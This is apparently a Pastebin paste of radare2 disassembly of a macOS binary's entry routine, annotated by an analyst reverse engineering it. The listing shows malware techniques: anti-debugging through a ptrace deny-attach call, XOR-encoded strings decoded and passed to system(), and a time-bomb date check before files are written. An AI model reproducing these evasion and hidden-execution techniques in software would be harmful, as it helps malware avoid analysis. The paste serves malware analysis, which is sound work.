Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ┌ (fcn) entry0 3910
- │ entry0 ();
- │ ; var int local_474ah @ rbp-0x474a
- │ ; var int local_474eh @ rbp-0x474e
- │ ; var int local_4732h @ rbp-0x4732
- │ ; var int local_4240h @ rbp-0x4240
- │ ; var int local_426ch @ rbp-0x426c
- │ ; var int local_4270h @ rbp-0x4270
- │ ; var int local_4280h @ rbp-0x4280
- │ ; var int local_424ch @ rbp-0x424c
- │ ; var int local_4250h @ rbp-0x4250
- │ ; var int local_4260h @ rbp-0x4260
- │ ; var int local_38f0h @ rbp-0x38f0
- │ ; var int local_3900h @ rbp-0x3900
- │ ; var int local_3910h @ rbp-0x3910
- │ ; var int local_3920h @ rbp-0x3920
- │ ; var int local_3930h @ rbp-0x3930
- │ ; var int local_3940h @ rbp-0x3940
- │ ; var int local_3950h @ rbp-0x3950
- │ ; var int local_3960h @ rbp-0x3960
- │ ; var int local_3970h @ rbp-0x3970
- │ ; var int local_3980h @ rbp-0x3980
- │ ; var int local_3990h @ rbp-0x3990
- │ ; var int local_39a0h @ rbp-0x39a0
- │ ; var int local_39b0h @ rbp-0x39b0
- │ ; var int local_39c0h @ rbp-0x39c0
- │ ; var int local_39d0h @ rbp-0x39d0
- │ ; var int local_39e0h @ rbp-0x39e0
- │ ; var int local_39f0h @ rbp-0x39f0
- │ ; var int local_3a00h @ rbp-0x3a00
- │ ; var int local_3a10h @ rbp-0x3a10
- │ ; var int local_3a20h @ rbp-0x3a20
- │ ; var int local_3a30h @ rbp-0x3a30
- │ ; var int local_3a40h @ rbp-0x3a40
- │ ; var int local_10d1h @ rbp-0x10d1
- │ ; var int local_10d5h @ rbp-0x10d5
- │ ; var int local_10ddh @ rbp-0x10dd
- │ ; var int local_cbch @ rbp-0xcbc
- │ ; var int local_cc0h @ rbp-0xcc0
- │ ; var int local_cd0h @ rbp-0xcd0
- │ ; var int local_c84h @ rbp-0xc84
- │ ; var int local_c88h @ rbp-0xc88
- │ ; var int local_c90h @ rbp-0xc90
- │ ; var int local_ca0h @ rbp-0xca0
- │ ; var int local_cb0h @ rbp-0xcb0
- │ ; var int local_4800h @ rbp-0x4800
- │ ; var int local_47f0h @ rbp-0x47f0
- │ ; var int local_47e0h @ rbp-0x47e0
- │ ; var int local_47d0h @ rbp-0x47d0
- │ ; var int local_47c0h @ rbp-0x47c0
- │ ; var int local_47b0h @ rbp-0x47b0
- │ ; var int local_47a0h @ rbp-0x47a0
- │ ; var int local_4790h @ rbp-0x4790
- │ ; var int local_4780h @ rbp-0x4780
- │ ; var int local_c80h @ rbp-0xc80
- │ ; var int local_1094h @ rbp-0x1094
- │ ; var int local_1098h @ rbp-0x1098
- │ ; var int local_10a0h @ rbp-0x10a0
- │ ; var int local_10b0h @ rbp-0x10b0
- │ ; var int local_10c0h @ rbp-0x10c0
- │ ; var int local_10d0h @ rbp-0x10d0
- │ ; var int local_28h @ rbp-0x28
- │ ; var int local_4748h @ rbp-0x4748
- │ ; var int local_4740h @ rbp-0x4740
- │ ; var int local_4758h @ rbp-0x4758
- │ ; var int local_4768h @ rbp-0x4768
- │ ; var int local_4744h @ rbp-0x4744
- │ ; var int local_4760h @ rbp-0x4760
- │ ; var int local_471ch @ rbp-0x471c
- │ ; var int local_4720h @ rbp-0x4720
- │ ; var int local_4730h @ rbp-0x4730
- │ ; var int local_4700h @ rbp-0x4700
- │ ; var int local_4710h @ rbp-0x4710
- │ ; var int local_4731h @ rbp-0x4731
- │ ; var int local_4733h @ rbp-0x4733
- │ ; var int local_4694h @ rbp-0x4694
- │ ; var int local_4698h @ rbp-0x4698
- │ ; var int local_46a0h @ rbp-0x46a0
- │ ; var int local_46b0h @ rbp-0x46b0
- │ ; var int local_46c0h @ rbp-0x46c0
- │ ; var int local_46d0h @ rbp-0x46d0
- │ ; var int local_46e0h @ rbp-0x46e0
- │ ; var int local_46f0h @ rbp-0x46f0
- │ ; var int local_36f8h @ rbp-0x36f8
- │ ; var int local_3700h @ rbp-0x3700
- │ ; var int local_3710h @ rbp-0x3710
- │ ; var int local_3720h @ rbp-0x3720
- │ ; var int local_3730h @ rbp-0x3730
- │ ; var int local_3740h @ rbp-0x3740
- │ ; var int local_3750h @ rbp-0x3750
- │ ; var int local_3760h @ rbp-0x3760
- │ ; var int local_3770h @ rbp-0x3770
- │ ; var int local_3780h @ rbp-0x3780
- │ ; var int local_3790h @ rbp-0x3790
- │ ; var int local_37a0h @ rbp-0x37a0
- │ ; var int local_37b0h @ rbp-0x37b0
- │ ; var int local_37c0h @ rbp-0x37c0
- │ ; var int local_37d0h @ rbp-0x37d0
- │ ; var int local_37e0h @ rbp-0x37e0
- │ ; var int local_37f0h @ rbp-0x37f0
- │ ; var int local_3800h @ rbp-0x3800
- │ ; var int local_3810h @ rbp-0x3810
- │ ; var int local_3820h @ rbp-0x3820
- │ ; var int local_3830h @ rbp-0x3830
- │ ; var int local_3840h @ rbp-0x3840
- │ ; var int local_3850h @ rbp-0x3850
- │ ; var int local_3860h @ rbp-0x3860
- │ ; var int local_3870h @ rbp-0x3870
- │ ; var int local_3880h @ rbp-0x3880
- │ ; var int local_4735h @ rbp-0x4735
- │ ; var int local_830h @ rbp-0x830
- │ ; var int local_871h @ rbp-0x871
- │ ; var int local_875h @ rbp-0x875
- │ ; var int local_87dh @ rbp-0x87d
- │ ; var int local_430h @ rbp-0x430
- │ ; var int local_858h @ rbp-0x858
- │ ; var int local_860h @ rbp-0x860
- │ ; var int local_870h @ rbp-0x870
- │ ; var int local_840h @ rbp-0x840
- │ ; var int local_850h @ rbp-0x850
- │ ; var int local_4680h @ rbp-0x4680
- │ ; var int local_4681h @ rbp-0x4681
- │ ; var int local_4683h @ rbp-0x4683
- │ ; var int local_468bh @ rbp-0x468b
- │ ; var int local_3890h @ rbp-0x3890
- │ ; var int local_38a0h @ rbp-0x38a0
- │ ; var int local_38b0h @ rbp-0x38b0
- │ ; var int local_38c0h @ rbp-0x38c0
- │ ; var int local_38d0h @ rbp-0x38d0
- │ ; var int local_3e1ch @ rbp-0x3e1c
- │ ; var int local_3e20h @ rbp-0x3e20
- │ ; var int local_3e30h @ rbp-0x3e30
- │ ; var int local_3e40h @ rbp-0x3e40
- │ ; var int local_38dah @ rbp-0x38da
- │ ; var int local_38dch @ rbp-0x38dc
- │ ; var int local_38e0h @ rbp-0x38e0
- │ ; var int local_4770h @ rbp-0x4770
- │ ; var int local_30h @ rbp-0x30
- │ ; CALL XREF from 0x100000fe0 (entry0)
- │ 0x100000fe0 55 push rbp ; section 0 va=0x100000fe0 pa=0x00000fe0 sz=6213 vsz=6213 rwx=m-r-x 0.__TEXT.__text deny debugger attackes, get actual time, decode blob 1
- │ 0x100000fe1 4889e5 mov rbp, rsp
- │ 0x100000fe4 4157 push r15
- │ 0x100000fe6 4156 push r14
- │ 0x100000fe8 4155 push r13
- │ 0x100000fea 4154 push r12
- │ 0x100000fec 53 push rbx
- │ 0x100000fed 4881ecd84700. sub rsp, 0x47d8
- │ 0x100000ff4 4989f5 mov r13, rsi
- │ 0x100000ff7 4189fe mov r14d, edi
- │ 0x100000ffa 488b05ff1f00. mov rax, qword [reloc.__stack_chk_guard_0] ; [0x100003000:8]=0
- │ 0x100001001 488b00 mov rax, qword [rax]
- │ 0x100001004 488945d0 mov qword [local_30h], rax
- │ 0x100001008 31ff xor edi, edi ; time_t *timer
- │ 0x10000100a e8f5180000 call sym.imp.time ; time_t time(time_t *timer)
- │ 0x10000100f 48898590b8ff. mov qword [local_4770h], rax
- │ 0x100001016 488dbd90b8ff. lea rdi, [local_4770h] ; const time_t *timer
- │ 0x10000101d e882180000 call sym.imp.localtime ; tm*localtime(const time_t *timer)
- │ 0x100001022 31ff xor edi, edi ; const char * path
- │ 0x100001024 be0a000000 mov esi, 0xa ; int oflag
- │ 0x100001029 e828180000 call sym.imp.dlopen ; int open(const char *path, int oflag)
- │ 0x10000102e 4889c3 mov rbx, rax
- │ 0x100001031 c78520c7ffff. mov dword [local_38e0h], 0x61727470
- │ 0x10000103b 66c78524c7ff. mov word [local_38dch], 0x6563
- │ 0x100001044 c68526c7ffff. mov byte [local_38dah], 0
- │ 0x10000104b 488db520c7ff. lea rsi, [local_38e0h]
- │ 0x100001052 4889df mov rdi, rbx
- │ 0x100001055 e802180000 call sym.imp.dlsym
- │ 0x10000105a bf1f000000 mov edi, 0x1f
- │ 0x10000105f 31f6 xor esi, esi
- │ 0x100001061 31d2 xor edx, edx
- │ 0x100001063 31c9 xor ecx, ecx
- │ 0x100001065 ffd0 call rax
- │ 0x100001067 4889df mov rdi, rbx
- │ 0x10000106a e8e1170000 call sym.imp.dlclose ; int close(int fildes)
- │ 0x10000106f 0f28052a1a00. movaps xmm0, xmmword [0x100002aa0] ; section.3.__TEXT.__const ; [0x100002aa0:16]=-1 ; "*\xcf\xea\x94-\xda\xb9\x9f.\x98\xf4\x98=\xd3\xf5\x8b>\xc4\xfc\x87y\xfb\xf8\x94y\x88\xb9\xd8=\xd3\xef\xd8<\xd5\xf1\x98y\x92\xb1\xdf9\xc5\xe0\x84:\xc2\xf5\xd7t\xd8\xb9\x9f.\x98\xf5\x98>\xdf\xfa\x965\xd5\xe9\x829\x99\xf9\x84 \xc5\xfa\x835\x96\xb4\x99y\xde\xee\xd9)\xde\xe0\x840\xd5\xf8\x9b:\xc6\xec\x97p\x9f\xe5\x90+\xd3\xe9\xd7k\x96\xa7\xd7v\xd2\xfc\x81v\xd8\xec\x9bm\x87\xac\xc3i\x82\xaf\xc7m\x87\xa0\xc6o\x85\xa0\xc4:\xd9\xf4\xd98\xc6\xe9\x9b<\x98\xff\x9e7\xd2\xfc\x85|\xc5\xbc\x94\x15\xdf\xfb\x858\xc4\xe0\xd2:\xfa\xf8\x82x\x96\xe9\x90+\xd3\xe9\xd7t\xce\xb9\xd9\x1f\xe5\xc6\xa4-\xd9\xeb\x92y\x90\xbf\xd7'\x99\xd5\x9e;\xc4\xf8\x85|\xc5\xb6\xbb0\xd4\xeb\x96+\xcf\xb6\xd9\x1f\xe5\xc6\xa4y\x96\xb9\xd7e\xc6\xf5\x9e*\xc2\xb9\x81<\xc4\xea\x9e6\xd8\xa4\xd5h\x98\xa9\xd5g\xbc\xb9\xd7y\x96\xa5\x930\xd5\xed\xc9S\x96\xb9\xd7y\x8a\xf2\x92 \x88\xd5\x96;\xd3\xf5\xcbv\xdd\xfc\x8eg\xbc\xb9\xd7y\x96\xa5\x84-\xc4\xf0\x99>\x88\xbc\x84e\x99\xea\x83+\xdf\xf7\x90g\xbc\xb9\xd7y\x96\xa5\x9c<\xcf\xa7\xa4-\xd7\xeb\x83\x10\xd8\xed\x92+\xc0\xf8\x9be\x99\xf2\x92 \x88\x93\xd7y\x96\xb9\xcb0\xd8\xed\x92>\xd3\xeb\xc9h\x84\xa9\xcbv\xdf\xf7\x83<\xd1\xfc\x85g\xbc\xb9\xd7y\x96\xa5\x9c<\xcf\xa7\xa5,\xd8\xd8\x83\x15\xd9\xf8\x93e\x99\xf2\x92 \x88\x93\xd7y\x96\xb9\xcb-\xc4\xec\x92v\x88\x93\xd7y\x96\xb9\xcb2\xd3\xe0\xc9\t\xc4\xf6\x90+\xd7\xf4\xb6+\xd1\xec\x9a<\xd8\xed\x84e\x99\xf2\x92 \x88\x93\xd7y\x96\xb9\xcb8\xc4\xeb\x96 \x88\x93\xd7y\x96\xb9\xcb*\xc2\xeb\x9e7\xd1\xa7\x958\xc5\xf1\xcbv\xc5\xed\x850\xd8\xfe\xc9S\x96\xb9\xd7y\x8a\xea\x83+\xdf\xf7\x90g\x9b\xfa\xcbv\xc5\xed\x850\xd8\xfe\xc9S\x96\xb9\xd7y\x8a\xea\x83+\xdf\xf7\x90g\x93\xea\xcbv\xc5\xed\x850\xd8\xfe\xc9S\x96\xb9\xd7y\x8a\xb6\x96+\xc4\xf8\x8eg\xbc\xb9\xd7y\x96\xa5\xd8=\xdf\xfa\x83g\xbc\xb9\xd7y\x96\xa5\xd8)\xda\xf0\x84-\x88\x93\xd7y\x96\xb9\xf75\xd7\xec\x99:\xde\xfa\x835\x96\xb9\x85<\xdb\xf6\x815\xd7\xec\x99:\xde\xfa\x835\x96\xb9\xd75\xd9\xf8\x93\x1d"
- │ 0x100001076 0f2985c0c1ff. movaps xmmword [local_3e40h], xmm0
- │ 0x10000107d 0f28052c1a00. movaps xmm0, xmmword [0x100002ab0] ; [0x100002ab0:16]=-1
- │ 0x100001084 0f2985d0c1ff. movaps xmmword [local_3e30h], xmm0
- │ 0x10000108b c785e0c1ffff. mov dword [local_3e20h], 0x9bf5c337
- │ 0x100001095 c685e4c1ffff. mov byte [local_3e1ch], 0
- │ 0x10000109c 488dbdc0c1ff. lea rdi, [local_3e40h]
- │ 0x1000010a3 e8880e0000 call func.homemade.decode_buffer
- │ 0x1000010a8 4889c7 mov rdi, rax
- │ 0x1000010ab e84e180000 call sym.imp.system ; int system(const char *string)
- │ 0x1000010b0 85c0 test eax, eax
- │ ┌─< 0x1000010b2 0f854d0a0000 jne 0x100001b05
- │ │ 0x1000010b8 0f2805011a00. movaps xmm0, xmmword [0x100002ac0] ; [0x100002ac0:16]=-1 ; decode more mini buffers
- │ │ 0x1000010bf 0f298520c7ff. movaps xmmword [local_38e0h], xmm0
- │ │ 0x1000010c6 0f2805031a00. movaps xmm0, xmmword [0x100002ad0] ; [0x100002ad0:16]=-1
- │ │ 0x1000010cd 0f298530c7ff. movaps xmmword [local_38d0h], xmm0
- │ │ 0x1000010d4 0f2805051a00. movaps xmm0, xmmword [0x100002ae0] ; [0x100002ae0:16]=-1
- │ │ 0x1000010db 0f298540c7ff. movaps xmmword [local_38c0h], xmm0
- │ │ 0x1000010e2 0f2805071a00. movaps xmm0, xmmword [0x100002af0] ; [0x100002af0:16]=-1
- │ │ 0x1000010e9 0f298550c7ff. movaps xmmword [local_38b0h], xmm0
- │ │ 0x1000010f0 0f2805091a00. movaps xmm0, xmmword [0x100002b00] ; [0x100002b00:16]=-1
- │ │ 0x1000010f7 0f298560c7ff. movaps xmmword [local_38a0h], xmm0
- │ │ 0x1000010fe 66c78570c7ff. mov word [local_3890h], 0x6c ; 'l'
- │ │ 0x100001107 488dbd20c7ff. lea rdi, [local_38e0h]
- │ │ 0x10000110e e81d0e0000 call func.homemade.decode_buffer
- │ │ 0x100001113 4889c7 mov rdi, rax ; const char * string
- │ │ 0x100001116 e8e3170000 call sym.imp.system ; int system(const char *string)
- │ │ 0x10000111b 85c0 test eax, eax
- │ ┌──< 0x10000111d 0f85e2090000 jne 0x100001b05
- │ ││ 0x100001123 31ff xor edi, edi ; int seed srand by some weird thing
- I don't want to write a
- Nasty one-liner
- I'm going to GUESS r14d is argc
- │ ││ 0x100001125 e8da170000 call sym.imp.time ; time_t time(time_t *timer)
- │ ││ 0x10000112a 4889c1 mov rcx, rax
- │ ││ 0x10000112d 48ba89888888. movabs rdx, 0x8888888888888889
- │ ││ 0x100001137 48f7ea imul rdx
- │ ││ 0x10000113a 4801ca add rdx, rcx ; '&'
- │ ││ 0x10000113d 4889d0 mov rax, rdx
- │ ││ 0x100001140 48c1e83f shr rax, 0x3f
- │ ││ 0x100001144 48c1ea05 shr rdx, 5
- │ ││ 0x100001148 8d3c02 lea edi, [rdx + rax]
- │ ││ 0x10000114b e890170000 call sym.imp.srand ; void srand(int seed)
- │ ││ 0x100001150 4183fe01 cmp r14d, 1
- │ ┌───< 0x100001154 0f851c070000 jne 0x100001876
- │ │││ 0x10000115a e83f170000 call sym.imp.getuid ; check if home directory exists ; uid_t getuid(void)
- │ │││ 0x10000115f 89c7 mov edi, eax
- │ │││ 0x100001161 e832170000 call sym.imp.getpwuid
- │ │││ 0x100001166 4c8b7030 mov r14, qword [rax + 0x30] ; [0x30:8]=0x4f52 ; '0' ; "RO"
- │ │││ 0x10000116a 48b87cc5b6b3. movabs rax, 0x83f2c53cb3b6c57c
- │ │││ 0x100001174 48898575b9ff. mov qword [local_468bh], rax
- │ │││ 0x10000117b 66c7857db9ff. mov word [local_4683h], 0x706f
- │ │││ 0x100001184 c6857fb9ffff. mov byte [local_4681h], 0
- │ │││ 0x10000118b 488dbd75b9ff. lea rdi, [local_468bh]
- │ │││ 0x100001192 e8990d0000 call func.homemade.decode_buffer
- │ │││ 0x100001197 4889c1 mov rcx, rax
- │ │││ 0x10000119a 488dbd80b9ff. lea rdi, [local_4680h] ; char *s
- │ │││ 0x1000011a1 be00000000 mov esi, 0 ; const char*
- │ │││ 0x1000011a6 ba00040000 mov edx, 0x400 ; ...
- │ │││ 0x1000011ab 31c0 xor eax, eax
- │ │││ 0x1000011ad 4d89f0 mov r8, r14
- │ │││ 0x1000011b0 e871160000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ │││ 0x1000011b5 4d8b6500 mov r12, qword [r13]
- │ │││ 0x1000011b9 0f2805601900. movaps xmm0, xmmword [0x100002b20] ; [0x100002b20:16]=-1
- │ │││ 0x1000011c0 0f2985b0f7ff. movaps xmmword [local_850h], xmm0
- │ │││ 0x1000011c7 c685c0f7ffff. mov byte [local_840h], 0
- │ │││ 0x1000011ce 488dbdb0f7ff. lea rdi, [local_850h]
- │ │││ 0x1000011d5 e8560d0000 call func.homemade.decode_buffer
- │ │││ 0x1000011da 4989c7 mov r15, rax
- │ │││ 0x1000011dd 0f28054c1900. movaps xmm0, xmmword [0x100002b30] ; [0x100002b30:16]=-1
- │ │││ 0x1000011e4 0f298590f7ff. movaps xmmword [local_870h], xmm0
- │ │││ 0x1000011eb 48b837d5f1b6. movabs rax, 0x83f7d33eb6f1d537
- │ │││ 0x1000011f5 488985a0f7ff. mov qword [local_860h], rax
- │ │││ 0x1000011fc 66c785a8f7ff. mov word [local_858h], 0x73 ; 's'
- │ │││ 0x100001205 488dbd90f7ff. lea rdi, [local_870h]
- │ │││ 0x10000120c e81f0d0000 call func.homemade.decode_buffer
- │ │││ 0x100001211 4889c1 mov rcx, rax
- │ │││ 0x100001214 4883ec08 sub rsp, 8
- │ │││ 0x100001218 4c8dadd0fbff. lea r13, [local_430h]
- │ │││ 0x10000121f be00000000 mov esi, 0 ; const char*
- │ │││ 0x100001224 ba00040000 mov edx, 0x400 ; ...
- │ │││ 0x100001229 41b92f000000 mov r9d, 0x2f ; '/' ; "ERO"
- │ │││ 0x10000122f 31c0 xor eax, eax
- │ │││ 0x100001231 4c89ef mov rdi, r13 ; char *s
- │ │││ 0x100001234 4d89f0 mov r8, r14
- │ │││ 0x100001237 6a2f push 0x2f ; '/' ; '/' ; "ERO"
- │ │││ 0x100001239 e8e8150000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ │││ 0x10000123e 4883c410 add rsp, 0x10
- │ │││ 0x100001242 48b87cc5bc94. movabs rax, 0x87b7c57c94bcc57c
- │ │││ 0x10000124c 48898583f7ff. mov qword [local_87dh], rax
- │ │││ 0x100001253 c7858bf7ffff. mov dword [local_875h], 0x83eadf35
- │ │││ 0x10000125d c6858ff7ffff. mov byte [local_871h], 0
- │ │││ 0x100001264 488dbd83f7ff. lea rdi, [local_87dh]
- │ │││ 0x10000126b e8c00c0000 call func.homemade.decode_buffer
- │ │││ 0x100001270 4889c1 mov rcx, rax
- │ │││ 0x100001273 4883ec08 sub rsp, 8
- │ │││ 0x100001277 488d9dd0f7ff. lea rbx, [local_830h]
- │ │││ 0x10000127e 31f6 xor esi, esi ; const char*
- │ │││ 0x100001280 ba00040000 mov edx, 0x400 ; ...
- │ │││ 0x100001285 41b92f000000 mov r9d, 0x2f ; '/' ; "ERO"
- │ │││ 0x10000128b 31c0 xor eax, eax
- │ │││ 0x10000128d 4889df mov rdi, rbx ; char *s
- │ │││ 0x100001290 4d89e8 mov r8, r13
- │ │││ 0x100001293 4157 push r15
- │ │││ 0x100001295 e88c150000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ │││ 0x10000129a 4883c410 add rsp, 0x10
- │ │││ 0x10000129e 31f6 xor esi, esi
- │ │││ 0x1000012a0 4889df mov rdi, rbx
- │ │││ 0x1000012a3 e88a150000 call sym.imp.access
- │ │││ 0x1000012a8 85c0 test eax, eax
- │ ┌────< 0x1000012aa 0f8564080000 jne 0x100001b14
- │ ││││ 0x1000012b0 31ff xor edi, edi ; time_t *timer check current time vs planned execution time
- I can nop this in the dynamic analysis
- │ ││││ 0x1000012b2 e84d160000 call sym.imp.time ; time_t time(time_t *timer)
- │ ││││ 0x1000012b7 4989c7 mov r15, rax
- │ ││││ 0x1000012ba 488d9d20c7ff. lea rbx, [local_38e0h]
- │ ││││ 0x1000012c1 4889df mov rdi, rbx ; time_t *timer
- │ ││││ 0x1000012c4 e83b160000 call sym.imp.time ; time_t time(time_t *timer)
- │ ││││ 0x1000012c9 4889df mov rdi, rbx ; const time_t *timer
- │ ││││ 0x1000012cc e8d3150000 call sym.imp.localtime ; tm*localtime(const time_t *timer)
- │ ││││ 0x1000012d1 c74014750000. mov dword [rax + 0x14], 0x75 ; 'u' ; [0x75:4]=84 ; 'u' ; "T"
- │ ││││ 0x1000012d8 0f2805011a00. movaps xmm0, xmmword [0x100002ce0] ; [0x100002ce0:16]=-1
- │ ││││ 0x1000012df 0f114004 movups xmmword [rax + 4], xmm0
- │ ││││ 0x1000012e3 4889c7 mov rdi, rax ; tm *timeptr
- │ ││││ 0x1000012e6 e8cb150000 call sym.imp.mktime ; time_t mktime(tm *timeptr)
- │ ││││ 0x1000012eb 4939c7 cmp r15, rax
- │ ┌─────< 0x1000012ee 0f8c1e0c0000 jl 0x100001f12
- │ │││││ 0x1000012f4 be01000000 mov esi, 1 ; it is time to execute order 66 r12 is argv[0], AKA current program's name
- │ │││││ 0x1000012f9 4c89e7 mov rdi, r12
- │ │││││ 0x1000012fc e831150000 call sym.imp.access
- │ │││││ 0x100001301 85c0 test eax, eax
- │ ┌──────< 0x100001303 0f85130c0000 jne 0x100001f1c
- │ ││││││ 0x100001309 48b87cc5b6d9. movabs rax, 0xb6dce406d9b6c57c
- │ ││││││ 0x100001313 48898583f7ff. mov qword [local_87dh], rax
- │ ││││││ 0x10000131a c7858bf7ffff. mov dword [local_875h], 0xa8dcfb1d
- │ ││││││ 0x100001324 c6858ff7ffff. mov byte [local_871h], 0
- │ ││││││ 0x10000132b 488dbd83f7ff. lea rdi, [local_87dh]
- │ ││││││ 0x100001332 e8f90b0000 call func.homemade.decode_buffer
- │ ││││││ 0x100001337 4889c1 mov rcx, rax
- │ ││││││ 0x10000133a 4c8dadd0fbff. lea r13, [local_430h]
- │ ││││││ 0x100001341 4c8d8580b9ff. lea r8, [local_4680h]
- │ ││││││ 0x100001348 be00000000 mov esi, 0 ; const char*
- │ ││││││ 0x10000134d ba00040000 mov edx, 0x400 ; ...
- │ ││││││ 0x100001352 31c0 xor eax, eax
- │ ││││││ 0x100001354 4c89ef mov rdi, r13 ; char *s
- │ ││││││ 0x100001357 e8ca140000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ ││││││ 0x10000135c 66c785cbb8ff. mov word [local_4735h], 0x77 ; 'w'
- │ ││││││ 0x100001365 488db5cbb8ff. lea rsi, [local_4735h] ; const char*
- │ ││││││ 0x10000136c 4c89ef mov rdi, r13 ; const char * filename
- │ ││││││ 0x10000136f e800150000 call sym.imp.fopen ; file*fopen(const char *filename,
- │ ││││││ 0x100001374 4889c3 mov rbx, rax
- │ ││││││ 0x100001377 0f2805721900. movaps xmm0, xmmword [0x100002cf0] ; [0x100002cf0:16]=-1
- │ ││││││ 0x10000137e 0f298520c7ff. movaps xmmword [local_38e0h], xmm0
- │ ││││││ 0x100001385 0f2805741900. movaps xmm0, xmmword [0x100002d00] ; [0x100002d00:16]=-1
- │ ││││││ 0x10000138c 0f298530c7ff. movaps xmmword [local_38d0h], xmm0
- │ ││││││ 0x100001393 0f2805761900. movaps xmm0, xmmword [0x100002d10] ; [0x100002d10:16]=-1
- │ ││││││ 0x10000139a 0f298540c7ff. movaps xmmword [local_38c0h], xmm0
- │ ││││││ 0x1000013a1 0f2805781900. movaps xmm0, xmmword [0x100002d20] ; [0x100002d20:16]=-1
- │ ││││││ 0x1000013a8 0f298550c7ff. movaps xmmword [local_38b0h], xmm0
- │ ││││││ 0x1000013af 0f28057a1900. movaps xmm0, xmmword [0x100002d30] ; [0x100002d30:16]=-1
- │ ││││││ 0x1000013b6 0f298560c7ff. movaps xmmword [local_38a0h], xmm0
- │ ││││││ 0x1000013bd 0f28057c1900. movaps xmm0, xmmword [0x100002d40] ; [0x100002d40:16]=-1
- │ ││││││ 0x1000013c4 0f298570c7ff. movaps xmmword [local_3890h], xmm0
- │ ││││││ 0x1000013cb 0f28057e1900. movaps xmm0, xmmword [0x100002d50] ; [0x100002d50:16]=-1
- │ ││││││ 0x1000013d2 0f298580c7ff. movaps xmmword [local_3880h], xmm0
- │ ││││││ 0x1000013d9 0f2805801900. movaps xmm0, xmmword [0x100002d60] ; [0x100002d60:16]=-1
- │ ││││││ 0x1000013e0 0f298590c7ff. movaps xmmword [local_3870h], xmm0
- │ ││││││ 0x1000013e7 0f2805821900. movaps xmm0, xmmword [0x100002d70] ; [0x100002d70:16]=-1
- │ ││││││ 0x1000013ee 0f2985a0c7ff. movaps xmmword [local_3860h], xmm0
- │ ││││││ 0x1000013f5 0f2805841900. movaps xmm0, xmmword [0x100002d80] ; [0x100002d80:16]=-1
- │ ││││││ 0x1000013fc 0f2985b0c7ff. movaps xmmword [local_3850h], xmm0
- │ ││││││ 0x100001403 0f2805861900. movaps xmm0, xmmword [0x100002d90] ; [0x100002d90:16]=-1
- │ ││││││ 0x10000140a 0f2985c0c7ff. movaps xmmword [local_3840h], xmm0
- │ ││││││ 0x100001411 0f2805881900. movaps xmm0, xmmword [0x100002da0] ; [0x100002da0:16]=-1
- │ ││││││ 0x100001418 0f2985d0c7ff. movaps xmmword [local_3830h], xmm0
- │ ││││││ 0x10000141f 0f28058a1900. movaps xmm0, xmmword [0x100002db0] ; [0x100002db0:16]=-1
- │ ││││││ 0x100001426 0f2985e0c7ff. movaps xmmword [local_3820h], xmm0
- │ ││││││ 0x10000142d 0f28058c1900. movaps xmm0, xmmword [0x100002dc0] ; [0x100002dc0:16]=-1
- │ ││││││ 0x100001434 0f2985f0c7ff. movaps xmmword [local_3810h], xmm0
- │ ││││││ 0x10000143b 0f28058e1900. movaps xmm0, xmmword [0x100002dd0] ; [0x100002dd0:16]=-1
- │ ││││││ 0x100001442 0f298500c8ff. movaps xmmword [local_3800h], xmm0
- │ ││││││ 0x100001449 0f2805901900. movaps xmm0, xmmword [0x100002de0] ; [0x100002de0:16]=-1
- │ ││││││ 0x100001450 0f298510c8ff. movaps xmmword [local_37f0h], xmm0
- │ ││││││ 0x100001457 0f2805921900. movaps xmm0, xmmword [0x100002df0] ; [0x100002df0:16]=-1
- │ ││││││ 0x10000145e 0f298520c8ff. movaps xmmword [local_37e0h], xmm0
- │ ││││││ 0x100001465 0f2805941900. movaps xmm0, xmmword [0x100002e00] ; [0x100002e00:16]=-1
- │ ││││││ 0x10000146c 0f298530c8ff. movaps xmmword [local_37d0h], xmm0
- │ ││││││ 0x100001473 0f2805961900. movaps xmm0, xmmword [0x100002e10] ; [0x100002e10:16]=-1
- │ ││││││ 0x10000147a 0f298540c8ff. movaps xmmword [local_37c0h], xmm0
- │ ││││││ 0x100001481 0f2805981900. movaps xmm0, xmmword [0x100002e20] ; [0x100002e20:16]=-1
- │ ││││││ 0x100001488 0f298550c8ff. movaps xmmword [local_37b0h], xmm0
- │ ││││││ 0x10000148f 0f28059a1900. movaps xmm0, xmmword [0x100002e30] ; [0x100002e30:16]=-1
- │ ││││││ 0x100001496 0f298560c8ff. movaps xmmword [local_37a0h], xmm0
- │ ││││││ 0x10000149d 0f28059c1900. movaps xmm0, xmmword [0x100002e40] ; [0x100002e40:16]=-1
- │ ││││││ 0x1000014a4 0f298570c8ff. movaps xmmword [local_3790h], xmm0
- │ ││││││ 0x1000014ab 0f28059e1900. movaps xmm0, xmmword [0x100002e50] ; [0x100002e50:16]=-1
- │ ││││││ 0x1000014b2 0f298580c8ff. movaps xmmword [local_3780h], xmm0
- │ ││││││ 0x1000014b9 0f2805a01900. movaps xmm0, xmmword [0x100002e60] ; [0x100002e60:16]=-1
- │ ││││││ 0x1000014c0 0f298590c8ff. movaps xmmword [local_3770h], xmm0
- │ ││││││ 0x1000014c7 0f2805a21900. movaps xmm0, xmmword [0x100002e70] ; [0x100002e70:16]=-1
- │ ││││││ 0x1000014ce 0f2985a0c8ff. movaps xmmword [local_3760h], xmm0
- │ ││││││ 0x1000014d5 0f2805a41900. movaps xmm0, xmmword [0x100002e80] ; [0x100002e80:16]=-1
- │ ││││││ 0x1000014dc 0f2985b0c8ff. movaps xmmword [local_3750h], xmm0
- │ ││││││ 0x1000014e3 0f2805a61900. movaps xmm0, xmmword [0x100002e90] ; [0x100002e90:16]=-1
- │ ││││││ 0x1000014ea 0f2985c0c8ff. movaps xmmword [local_3740h], xmm0
- │ ││││││ 0x1000014f1 0f2805a81900. movaps xmm0, xmmword [0x100002ea0] ; [0x100002ea0:16]=-1
- │ ││││││ 0x1000014f8 0f2985d0c8ff. movaps xmmword [local_3730h], xmm0
- │ ││││││ 0x1000014ff 0f2805aa1900. movaps xmm0, xmmword [0x100002eb0] ; [0x100002eb0:16]=-1
- │ ││││││ 0x100001506 0f2985e0c8ff. movaps xmmword [local_3720h], xmm0
- │ ││││││ 0x10000150d 0f2805ac1900. movaps xmm0, xmmword [0x100002ec0] ; [0x100002ec0:16]=-1
- │ ││││││ 0x100001514 0f2985f0c8ff. movaps xmmword [local_3710h], xmm0
